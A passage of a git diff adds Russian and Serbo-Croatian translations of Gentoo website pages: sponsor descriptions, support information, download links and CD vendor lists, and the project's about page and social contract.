+<fig link="/images/sponsors/osuosl-logo.gif" linkto="http://osuosl.org" 
+     short="лаборатория открытых исходников OSU"/>
+
+<p>
+<uri link="http://osuosl.org">Лаборатория открытых исходников </uri> <uri 
+link="http://oregonstate.edu">Орегонского государственного университета 
+(OSU)</uri>, расположенного в прелестном местечке Корваллис, Орегон &mdash;
+центр разработки, размещения и других разнообразных услуг для сообщества 
+открытых исходников.
+</p>
+
+<p>
+OSU оказывает проекту Gentoo различные услуги. Вдобавок к тому, что он 
+служит основным зеркалом-источником Gentoo, еще OSU предоставляет 
+территорию для размещения нескольких серверов Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Университет Индианы (США)</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu" 
+     short="Университет Индианы"/>
+
+<p>
+Университет Индианы (Блумингтон, Индиана) основан в 1820. 
+С тех пор университет разросся до восьми кампусов по всей Индиане, 
+а прием достигает 100,000 человек. В IU предлагается 116 учебных программ,
+входящих в национальную двацатку лучших. По всему миру живет более 460.000 
+выпускников IU.
+</p>
+
+<p>
+В Университете Индианы размещены серверы инфраструктуры Gentoo, а также
+скоростное зеркало-источник и зеркало портежей.
+</p>
+
+</body>
+</section>
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com" 
+     short="NVIDIA"/>
+
+<p>
+NVIDIA Corporation (Nasdaq: NVDA) &mdash; лидер на рынке технологии 
+компьютерного отображения, специализирующийся на создании товаров, улучшающих 
+восприятие цифровых аудиовизуальных материалов, для потребительских и 
+профессиональных вычислительных платформ, от персональных компьютеров и рабочих 
+станций до портативных и карманных компьютеров. Графические и связные 
+процессоры компании широко распространены, и встраиваются в самые разнообразные 
+вычислительные системы, включая домашние и рабочие компьютеры, профессиональные 
+рабочие места, системы подготовки цифровых материалов, военные навигационные 
+системы и игровые видеоприставки.
+</p>
+
+<p>
+NVIDIA снабдила проект Gentoo многочисленными машинами на AMD и 
+видеоплатами, способствуя развитию Gentoo для платформ Athlon XP и 
+Athlon64.
+</p>
+
+</body>
+</section>
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com" 
+     short="UltraDNS"/>
+
+<p>
+UltraDNS предоставляет расширенные, развитые, глобально масштабируемые решения
+служб каталогов, которые значительно повышают скорость и надежность сетей и 
+жизненно важных приложений, связанных с информационным обменом.
+</p>
+
+<p>
+UltraDNS обеспечивает проект Gentoo службами DNS, включая дополнительные 
+возможности, такие как <uri 
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional 
+DNS</uri>, для балансировки через DNS обращений к нашей группе rsync-серверов 
+rsync.gentoo.org, и <uri 
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri> для
+слежения за исправностью и обеспечения отказоустойчивости главных серверов нашей 
+инфраструктуры.
+</p>
+
+</body>
+</section>
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com" 
+     short="Global Netoptex, Inc."/>
+
+<p>
+GNi &mdash; ведущий поставщик управляемых услуг, ориентированных на 
+потребителя, расширяющих инфраструктуру потребителей и радикально сокращающих 
+для них совокупную стоимость владения. Компания предоставляет экспертов, 
+ресурсы и решения, отвечающие и превосходящие уникальные требования 
+потребителей как на их, так и на своей территории.
+</p>
+
+<p>
+GNi предоставляет выделенный сервер, используемый для раздачи Gentoo 
+пользователям через BitTorrent.
+</p>
+
+</body>
+</section>
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/" 
+     short="Genesi"/>
+
+<p>
+Genesi &mdash; ведущий поставщик вычислительной продукции на процессорах 
+Freescale и IBM PowerPC. <uri link="http://www.pegasosppc.com">Компьютеры
+PegasosPPC MicroATX</uri> производства Genesi призваны принести гибкость 
+и эффективность технологии PowerPC в сегменты настольных компьютеров, начальных
+серверов и другие по доступной цене. Начиная с выпуска 2004.3, Open Desktop 
+Workstation поставляется с предустановленной системой Gentoo.
+</p>
+
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri> снабдила Gentoo множеством
+<uri link="http://www.pegasosppc.com/odw.php">станций Open Desktop 
+Workstation</uri> на базе PowerPC. За информацией о роли Genesi в сообществе 
+открытых исходников Linux обращайтесь на <uri 
+link="http://www.ppczone.org">www.PPCZone.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue"/>
+
+<p>
+DataRescue &mdash; разработчик дисассемблера и отладчика IDA Pro, незаменимого 
+инструмента для изучения уязвимостей и анализа вражеских исполняемых файлов.
+Некоторые внешние серверы DataRescue, а также главный внутренний сервер 
+работают под управлением Gentoo.
+</p>
+
+<p>
+DataRescue подарила программное обеспечение команде аудите Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Университет Вирджинии</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="Университет Вирджинии"/>
+
+<p>
+В университете Вирджинии размещается довольно много Alpha-систем, используемых 
+разработчиками Gentoo/Alpha для сборки новых выпусков Gentoo, а также для 
+повседневной работы, например, проверки ключевых слов и обновлений 
+безопасности.
+</p>
+
+</body>
+</section>
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource"/>
+
+<p>
+HP &mdash; глобальный поставщик технологических решений для частных лиц, 
+предприятий и учреждений. Более 200 товаров HP поставляются в комплекте с
+открытым программным обеспечением. HP ежедневно вносит свой вклад в сотни 
+открытых проектов, от клиентских и серверных до центров данных. За 
+дополнительными сведениями об участии HP в открытых программах обращайтесь на 
+<uri link="http://opensource.hp.com/">http://opensource.hp.com/</uri>.
+</p>
+
+<p>
+Компания HP предоставляет свои научно-исследовательские ресурсы, а также 
+одолжила проекту Gentoo оборудование Alpha и IA64.
+</p>
+
+</body>
+</section>
+<section>
+<title>Кафедра физики Университета Триеста</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Кафедра физики Университета Триеста"/>
+
+<p>
+Кафедра физики Университета Триеста предоставляет инфраструктуру для проекта 
+Gentoo, и держит у себя все наши почтовые рассылки.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png" linkto="http://www.inversepath.com"
+     short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path Ltd. &mdash; международные консультанты по разработке и реализации 
+защищенных сетей и инфраструктуры, особенно опытные в использовании открытых 
+программ. В составе своих услуг она предлагает коммерческую поддержку Gentoo 
+для развертывания в производственной среде, а также профессиональное 
+обучение.
+</p>
+<p>
+Inverse Path предоставляет сервер IP-телефонии для нужд разработчиков Gentoo.
+</p>
+</body>
+</section>
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> предоставила <uri
+link="http://www.amigaforever.com/">Amiga Forever CD</uri> для поддержки
+разработки и сопровождения программы эмуляции Amiga в Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Зеркала-источники и rsync-зеркала</title>
+<body>
+
+<p>
+Gentoo в большой мере полагается на всемирную сеть rsync-зеркал и 
+зеркал-источников. Без этих зеркал был бы невозможен доступ к новым пакетам, 
+обновление дерева портежей и публикация новых выпусков Gentoo. Одни 
+зеркала предоставляются частными лицами, другие &mdash; организациями. 
+Полный список находится на нашей странице <uri 
+link="/main/ru/mirrors.xml">зеркал Gentoo</uri>.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Другие спонсоры</title>
+<body>
+
+<p>
+Множество других предприятий и организаций оказывает услуги и поддержку проекту 
+Gentoo, но выразило желание сохранить анонимность. Мы хотели бы поблагодарить 
+этих спонсоров за их поддержку Gentoo.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/support.xml b/xml/htdocs/main/ru/support.xml
new file mode 100644
index 00000000..84e9106c
--- /dev/null
+++ b/xml/htdocs/main/ru/support.xml
@@ -0,0 +1,105 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<mainpage lang="ru">
+<title>Поддержка Gentoo Linux</title>
+
+<author title="автор">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="редактор">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+
+<abstract>
+Как получить поддержку Gentoo Linux
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Поддержка</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo &mdash; дистрибутив, поддерживаемый добровольцами, и возможности
+поддержки соответствующие. Наши разработчики не могут оказывать поддержку 
+(в том числе платную), поскольку для этого у нас просто нет ресурсов.
+</p>
+
+<p>
+Однако, у нас есть великолепное сообщество Gentoo, которое тестирует и помогает 
+документировать многие аспекты дистрибутива Gentoo. Мы советуем вам обращаться 
+за поддержкой на <uri link="http://forums.gentoo.org">форумы Gentoo</uri>, в 
+<uri link="/main/ru/lists.xml">списки рассылки Gentoo</uri> или на <uri 
+link="/main/ru/irc.xml">каналы чата Gentoo</uri> (по-английски). Там намного 
+легче найти поддержку, поскольку в этих местах представлена значительная часть 
+&laquo;обычных&raquo; знаний о Gentoo.
+</p>
+
+<p>
+Большинство разработчиков Gentoo часто появляется на этих общих каналах,
+и прилагает максимум усилий для участия в дискуссиях по поднимаемым вопросам.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Аппаратные требования</title>
+<body>
+
+<p>
+Аппаратные требования для каждой архитектуры указаны в нашей <uri
+link="/doc/ru/handbook/index.xml">Настольной книге Gentoo</uri>.
+</p>
+
+<p>
+Прямые ссылки на аппаратные требования:  
+<uri link="/doc/ru/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/ru/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/ru/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>, 
+<uri link="/doc/ru/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>, 
+<uri link="/doc/ru/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>, 
+<uri link="/doc/ru/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>, 
+<uri link="/doc/ru/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>, 
+<uri
+link="/doc/ru/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Загрузка Gentoo</title>
+<body>
+
+<p>
+Загрузить Gentoo можно с любого из наших <uri
+link="/main/ru/mirrors.xml">зеркал</uri>. Загружаемые образы ISO расположены в 
+каталоге <path>releases/</path>. 
+</p>
+
+<p>
+Дополнительные сведения об имеющихся образах ISO и файлах находятся в нашей 
+<uri link="/doc/ru/handbook/index.xml">Настольной книге Gentoo</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Направление отчета об ошибке</title>
+<body>
+
+<p>
+Нашли ошибку? <uri link="http://bugs.gentoo.org">Сообщите нам</uri> о ней, 
+пожалуйста!
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/ru/where.xml b/xml/htdocs/main/ru/where.xml
new file mode 100644
index 00000000..e30dbc9e
--- /dev/null
+++ b/xml/htdocs/main/ru/where.xml
@@ -0,0 +1,291 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/ru/where.xml,v 1.13 2007/03/16 10:40:45 neysx Exp $ -->
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="ru">
+<title>Где взять Gentoo Linux</title>
+
+<author title="автор">
+  <mail link="www@gentoo.org">Команда WWW Gentoo</mail>
+</author>
+<author title="переводчик">
+  <mail link="achumakov@gentoo.org">Алексей Чумаков</mail>
+</author>
+
+<abstract>
+Как получить Gentoo Linux из интернета
+</abstract>
+
+<version>1.52</version>
+<date>2006-09-01</date>
+
+<chapter>
+<title>Сведения о выпусках</title>
+<section>
+<body>
+
+<p>
+Описания, замечания к выпускам, планы развития, подпроекты и список
+разработчиков Gentoo, работающих над сборкой выпуска Gentoo,
+находятся на нашей <uri link="/proj/en/releng/">странице проекта разработки
+выпусков</uri> (англ.).
+</p>
+
+<p>
+Пожалуйста, за дополнительными сведениями о том, что именно загружать и
+как устанавливать Gentoo, обращайтесь к <uri
+link="/doc/ru/handbook/index.xml">Настольным книгам Gentoo</uri>
+</p>
+
+</body>
+</section>
+<section>
+<title>Загрузка Gentoo Linux</title>
+<body>
+
+<p>
+В интернете Gentoo Linux доступен бесплатно. Gentoo Linux можно загрузить
+по соответствующей ссылке на iso-образ для нужной архитектуры.
+Если вы предпочитаете BitTorrent, список имеющихся потоков можно просмотреть
+в <uri link="http://torrents.gentoo.org">torrents.gentoo.org</uri>.
+</p>
+
+<p>
+<b>Минимальный установочный компакт-диск Gentoo 2006.1</b>
+<br/>(до 125 мегабайт, в зависимости от архитектуры)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=alpha">alpha</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=amd64">amd64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=hppa">hppa</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ia64">ia64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ppc">ppc (32 bit)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=ppc64">ppc64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=sparc64">sparc64</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-minimal&amp;os=x86">x86</uri> 
+</p>
+
+<p>
+<b>Универсальный установочный компакт-диск Gentoo 2006.1</b>
+<br/>(до 600 мегабайт, в зависимости от архитектуры)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=alpha">alpha</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=hppa">hppa</uri> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=ppc">ppc (32 bit)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=ppc64">ppc (64 bit)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-universal&amp;os=sparc64">sparc64</uri> 
+</p>
+
+<p>
+<b>Компакт-диск пакетов Gentoo 2006.1</b>
+<br/>(до 700 мегабайт, в зависимости от архитектуры)
+<br/> 
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc">ppc</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc-g3">ppc (g3)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc-g4">ppc (g4)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc64">ppc (64 bit - 32bit userland)</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-packagecd&amp;os=ppc64-g5">ppc (64 bit - 64bit userland)</uri>
+</p>
+
+<p>
+<b>&laquo;Живой&raquo; загрузочный CD 2006.1</b>
+<br/>(до 700 мегабайт, в зависимости от архитектуры)
+<br/>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-livecd&amp;os=x86">i686</uri>
+<uri link="http://bouncer.gentoo.org/?product=gentoo-2006.1-livecd&amp;os=amd64">amd64</uri>
+</p>
+
+<p>
+<b>&laquo;Живой&raquo; загрузочный DVD 2006.1</b>
+<br/>(до 1.1 гигабайта, в зависимости от архитектуры; доступен только через BitTorrent)
+<br/>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-i686-installer-2006.1.torrent">i686</uri>
+<uri link="http://torrents.gentoo.org/torrents/livedvd-amd64-installer-2006.1.torrent">amd64</uri>
+</p>
+
+
+<p>
+Если вы хотите выбрать местное зеркало сами, список зеркал приведен в
+<uri link="/main/ru/mirrors.xml">www.gentoo.org/main/ru/mirrors.xml</uri>.
+</p>
+
+<p>
+Пожалуйста, обратитесь к нашим <uri 
+link="/doc/ru/handbook/index.xml">настольным книгам Gentoo</uri> за 
+дополнительными сведениями о том, что загружать и как устанавливать
+Gentoo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Официальный магазин Gentoo</title>
+<body>
+
+<p>
+<b>В <uri link="http://www.cafepress.com/officialgentoo">магазине 
+Gentoo</uri></b> продаются высококачественные товары, относящиеся к Gentoo,
+включая последние выпуски на CD и даже DVD. Часть доходов с каждой продажи 
+поступает прямо в Фонд Gentoo для поддержки усилий по разработке Gentoo,
+серверной инфраструктуры и т.п.
+</p>
+
+</body>
+</section>
+<section>
+<title>Компакт-диски Gentoo Linux</title>
+<body>
+
+<p>
+<!-- CP does not provide boxed versions yet
+Мы предлагаем "официальные" коробочные версии Gentoo Linux в своем 
+<uri link="http://store.gentoo.org/">магазине</uri>. Средства от покупкок, 
+сделанных в этом магазине, поступают прямо на поддержку будущего развития
+Gentoo Linux. Кроме того, -->
+Некоторые третьи фирмы <!-- также --> продают Gentoo Linux на CD.
+Вот перечень распространителей компакт-дисков, которые продают Gentoo Linux на 
+CD:
+</p>
+
+<p>
+<b>Северная Америка:</b><br/>
+
+<b><uri link="http://www.cheapbytes.com">CheapBytes</uri></b><br/>
+
+<b><uri link="http://chguy.com/mir">ComputerHelperGuy</uri></b><br/>
+
+<b><uri link="http://edmunds-enterprises.com">Edmunds Enterprises</uri></b><br/>
+
+<b><uri link="http://store.madtux.org">MadTux</uri></b><br/>
+
+<b><uri link="http://lincd.com/index.php?cPath=9">LinCD</uri></b><br/>
+
+<b><uri link="http://www.frozentech.com">Frozentech</uri></b><br/>
+
+<b><uri link="http://www.linux-iso-store.com/">Linux ISO Store</uri></b><br/>
+
+<b><uri 
+link="http://www.osdisc.com/cgi-bin/view.cgi/products/linux/gentoo">OSDisc.com</uri></b><br/> 
+
+<b><uri link="http://www.thelinuxstore.ca">The Linux Store</uri></b><br/>
+
+<br/><b>Европа:</b><br/>	
+
+<b><uri link="http://www.linuxpusher.dk/gentoo.php">LinuxPusher.dk 
+(Дания)</uri></b><br/>
+
+<b><uri link="http://www.liniso.de">LinISO.de (Германия)</uri></b><br/>
+
+<b><uri link="http://www.linuxkaufen.de">Linux Kaufen (Германия)</uri></b><br/>
+
+<b><uri link="http://www.eexi.net/content/anoikto_logismiko.php">Eexi.gr 
+(Греция)</uri></b><br/>
+
+<b><uri link="http://www.linuxcd.hu">LinuxCD.hu (Венгрия)</uri></b><br/>
+
+<b><uri link="http://www.munnikes.nl/cd/">Munnikes.nl 
+(Нидерланды)</uri></b><br/>
+
+<b><uri link="http://www.linuxmarket.org/">The Turkey Linux Online Store 
+(Турция)</uri></b><br/>
+
+<b><uri link="http://www.maxtux.co.uk">MaxTux (Великобритания)</uri></b><br/>
+
+<b><uri link="http://www.bsd-systems.co.uk">BSD Systems 
+(Великобритания)</uri></b><br/>
+
+<b><uri link="http://getlinux.leprado.com">Getlinux (Франция)</uri></b><br/>
+
+<b><uri link="http://www.linux2go.de">Linux2Go (Германия)</uri></b><br/>
+
+<b><uri link="http://www.cd-dvd-linux-bsd.com">CD/DVD/Linux/BSD 
+(Франция)</uri></b><br/>
+
+<b><uri link="http://www.cheaplinux.de/systeme/gentoo.php">CheapLinux 
+(Германия)</uri></b><br/> 
+
+<b><uri link="http://www.linuxisos.de/catalog/index.php/cPath/161_53">LinuxISOs 
+(Германия)</uri></b><br/> 
+
+<b><uri link="http://www.pcdiscs.co.uk/index.php?manufacturers_id=14">PCDiscs 
+(Великобритания)</uri></b><br/> 
+
+<b><uri link="http://www.tuxdiscs.com">TuxDiscs (Великобритания)</uri></b><br/>
+
+<b><uri link="http://www.linux-distro.co.uk">Linux-Distro 
+(Великобритания)</uri></b><br/>
+
+<b><uri 
+link="http://www.linuxshoppen.dk/products.php?showgroup_id=14#Gentoo%20Linux">linuxshoppen.dk 
+(Дания)</uri></b><br/>
+
+<b><uri link="http://www.ikarios.com/p24-Gentoo.html">Ikarios (Франция)</uri></b><br/>
+
+<br/><b>Океания:</b><br/>	
+
+<b><uri link="http://www.lankum.com">lankum.com - The Australian Linux/BSD 
+Online Store</uri></b><br/>
+
+<b><uri link="http://shop.linuxit.com.au/">Linux Information Technology 
+(Австралия)</uri></b><br/>
+
+<b><uri link="http://www.lsl.com.au/">Linux System Labs 
+Australia</uri></b><br/>
+
+<b><uri link="http://www.linuxcdmall.com/gentoo.html">Linux CD Mall (Новая 
+Зеландия)</uri></b><br/>
+
+</p>
+
+</body>
+</section>
+<section>
+<title>Компьютеры с предустановленным Gentoo Linux</title>
+<body>
+
+<p>
+На нашем сайте <b><uri link="http://vendors.gentoo.org">поставщиков 
+оборудования с Gentoo</uri></b> представлены предустановленные системы 
+поставщиков, поддерживающих разработку Gentoo.
+</p>
+
+<p>
+Следующие компании продают компьютеры с предустановленным Gentoo 
+Linux.
+</p>
+
+<p>
+<b>Северная Америка:</b><br/>
+
+<b><uri link="http://linuxcertified.com/gentoo-laptop.html">Linux Certified, 
+Inc.</uri></b><br/>
+
+<b><uri link="http://www.micronux.com">Micronux</uri></b><br/>
+
+<b><uri link="http://www.rayservers.com/">rayServers</uri></b><br/>
+
+<b><uri link="http://www.microway.com">Microway, Inc.</uri></b> (международная 
+доставка)<br/>
+
+<b><uri link="http://www.bestekpc.ca">BestekPC</uri></b><br/>
+
+</p>
+
+<p>
+<b>Австралия:</b><br/>
+
+<b><uri link="http://www.vgcomputing.com.au">VG Computing</uri></b>
+</p>
+
+<p>
+<b>Европа:</b><br/>
+
+<b><uri link="http://www.linux-service.be">Linux Service (Бельгия)</uri></b>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/sh/about.xml b/xml/htdocs/main/sh/about.xml
new file mode 100644
index 00000000..82a877fa
--- /dev/null
+++ b/xml/htdocs/main/sh/about.xml
@@ -0,0 +1,132 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/sh/about.xml,v 1.3 2007/03/16 10:40:45 neysx Exp $ -->
+
+<mainpage lang="sh">
+<title>O Gentoo Linux(u)</title>
+	<author title="Author">
+<mail link="dejann@u.washington.edu">Dejan Nikić</mail>
+</author>
+	<author title="Editor">
+<mail link="dejann@u.washington.edu">Dejan Nikić</mail>
+</author>
+<version>0.1</version>
+<date>19-ti Mart 2004</date>
+	<chapter>
+<title>O Gentoo Linux(u)</title>
+	<section>
+<title>Gentoo Linux... u posteru</title>
+	<body>
+<fig link="/images/poster.jpg"/>
+</body>
+</section>
+	<section>
+<title>Gentoo Linux u paragrafu </title>
+	<body>
+	<p>
+Mi proizvodimo Gentoo Linux, specijalni tip Linux(a) koji može automatski 
+da se optimizira i prilagodi skoro svakoj aplikaciji i potrebi.  
+Ekstremne performanse, mogućnost konfigurisanja i visoki nivo korisničke i 
+programerske zajednice su sve obilježija Gentoo iskustva.
+</p>
+	<p>Zahvaljujući tehnologiji zvanoj Portage, Gentoo Linux može 
+postati idealan bezbjedan server, programerska radna stanica, profesionalni 
+desktop, sistem za igranje, embedded solucija ili nešto drugo -- šta god 
+vi hoćete da bude.  Zbog skoro neograničene prilagodljivosti mi zovemo 
+Gentoo Linux <b>kvazi (meta)</b> distribucijom.
+</p>
+</body>
+</section>
+	<section>
+<title>Šta je Portage?</title>
+	<body>
+	<p>
+<b>Portage</b>
+je srce Gentoo Linux(a), i obavlja mnoge ključne funkcije.
+Pod jedan, Portage služi kao sistem za <e>software dostavu</e>
+ u Gentoo Linux(u).
+Da dobijete najnoviji software za Gentoo Linux, odkucajte jednu komandu:
+<c>emerge
+sync</c>
+. Ova komanda kaže Portage(u) da ažurira lokalno "Portage stablo 
+(tree)" putem Interneta. Vaše lokalno Portage stablo sadrži kompletnu 
+kolekciju skripti koje mogu bit koriščene od strane Portage da naprave i 
+instaliraju najnovije Gentoo pakete.
+Trenutno mi imamo
+<uri link="http://packages.gentoo.org/">skoro 6000 paketa</uri>
+u našem Portage stablu, sa novim svakodnevnim dodacima.
+</p>
+	<p>Portage je takođe sistem za
+<e>gradnju i instalaciju paketa</e>. Kada hoćete da instalirate novi paket, 
+odkucajte
+<c>emerge imepaketa</c>
+, tada će Portage automatski da izgradi prilagođenu verziju paketa prema 
+vašim određenim specifikacijama, optimizirajući ga za vaš hardware i pazeći 
+da sve opcionalne karakteristike koje hočete su omogučene -- a one što 
+nečete nisu.
+</p>
+	<p>
+Portage takođe drži vaš sistem
+<e>ažuriranim</e>
+. Kucanjem 
+<c>emerge -u
+world</c>
+ -- jedne komande -- če garantovati da svi paketi koje 
+<e>vi</e>
+hočete na vašem sistemu su automatski ažurirani.
+</p>
+</body>
+</section>
+
+	<section>
+<title>Gentoo Linux 1.4</title>
+
+	<body>
+
+	<p>
+Portage če držati Gentoo Linux sistem "ažuriranim" kako vi hočete.  Zato 
+iskusni Gentoo korisnici ne obraćaju pažnju na "nove verzije" Gentoo Linux(a) 
+-- posle svega, najnovije i najbolje verzije Gentoo Linux(a) su na 
+raspoloženju sa
+<c>emerge sync</c>
+ komandom. Nema potrebe da se čeka par mjeseci za izdanje "nove verzije" 
+Gentoo Linux(a) jer Gentoo Linux je konstantno ažuriran i usavršen i ova 
+poboljšanja su dostupna istovremeno.
+</p>
+	<p>Naravno mi izdajemo zvanična CD izdanja Gentoo Linux(a) tako da 
+nove instalacije Gentoo Linux(a) su ažurne koliko god moguće od 
+samog početka.  Evo prikaza sta je uključeno u nedavno 1.4 izdanje Gentoo 
+Linux(a):
+</p>
+	<ul>
+	<li>
+Podrska za x86, PowerPC, UltraSparc and Alpha procesore
+</li>
+<li>LiveCD-bazirana instalacija za x86 i PowerPC</li>
+<li>Najnoviji stabilni KDE i GNOME</li>
+<li>Različiti optimizirani Linux kernel(i)</li>
+<li>Veoma moderno GNU programsko okruženje</li>
+	<li>
+Odlična "filesystem" podrška: ReiserFS, XFS, ext3, EVMS, LVM
+</li>
+	<li>
+Odlična hardware podrška: NVIDIA, Creative Labs Live! i Audigy
+</li>
+	<li>
+Modularan OpenGL i kompajler pod-sistem (podržava mnogobrojne 
+zajedničke verzije)</li>
+	<li>
+Čiste, pokretne skripte bazirane na zavisnosti
+</li>
+<li>Nova "čvrsto" Gentoo obezbjedženje inicijativa</li>
+<li>4000+ paketa za najnoviji i najbolji software</li>
+<li>Povećane Portage mogucnosti</li>
+</ul>
+	<p>Ako vam se snaga, brzina i elastičnost Gentoo Linux(a) dopada 
+onda vas mi ohrabljujemo da ga probate.  Mislimo da nećete biti 
+razoč	arani.
+</p>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/sh/contract.xml b/xml/htdocs/main/sh/contract.xml
new file mode 100644
index 00000000..19b29976
--- /dev/null
+++ b/xml/htdocs/main/sh/contract.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/sh/contract.xml,v 1.2 2004/03/25 23:55:19 swift Exp $ -->
+<mainpage id="contract">
+<title>Gentoo Linux Socijalni Ugovor</title>
+	<author title="Author">
+<mail link="dejann@u.washington.edu">Dejan Nikić</mail>
+</author>
+<abstract/>
+<version>0.1</version>
+<date>Mart 19 2004</date>
+	<chapter>
+<title>Gentoo Linux Socijalni Ugovor</title>
+	<section>
+<title>O Gentoo Linux Socijalnom Ugovoru</title>
+	<body>
+	<p>Ovaj socijalni ugovor je namjenjen da jasno objasni obšte 
+programerske svrhe i standarde Gentoo Linux programerskog tima.  Djelovi 
+ovog dokumenta potiču sa
+<uri link="http://www.debian.org/social_contract">Debian Socijalnog 
+Ugovora</uri>
+, i veoma mu je sličan osim da su određeni djelovi bili razjašnjeni i 
+uveličani dok oni djelovi koji su bili suvišni su bili uklonjeni.  
+Komentari su dobrodošli.  Molimo da ih šaljete na 
+<mail link="gentoo-dev@gentoo.org">gentoo-dev@gentoo.org</mail>
+ mailing listu.
+</p>
+</body>
+</section>
+	<section>
+<title>Gentoo Linux je i ostače Besplatan Software</title>
+	<body>
+	<p>
+Mi čemo izdati naš doprinos Gentoo Linux(u) kao besplatan software, pod 
+GPL General Public License verzija 2 (ili kasnije, po našoj diskreciji.)  
+Bilo koji spoljni doprinosi Gentoo Linux(u) (u obliku 
+besplatno-distribuiranim sources ili binaries) mogu biti sjedinjeni u 
+Gentoo Linux pod predpostavkom da smo legalno naslovljeni da to uradimo. 
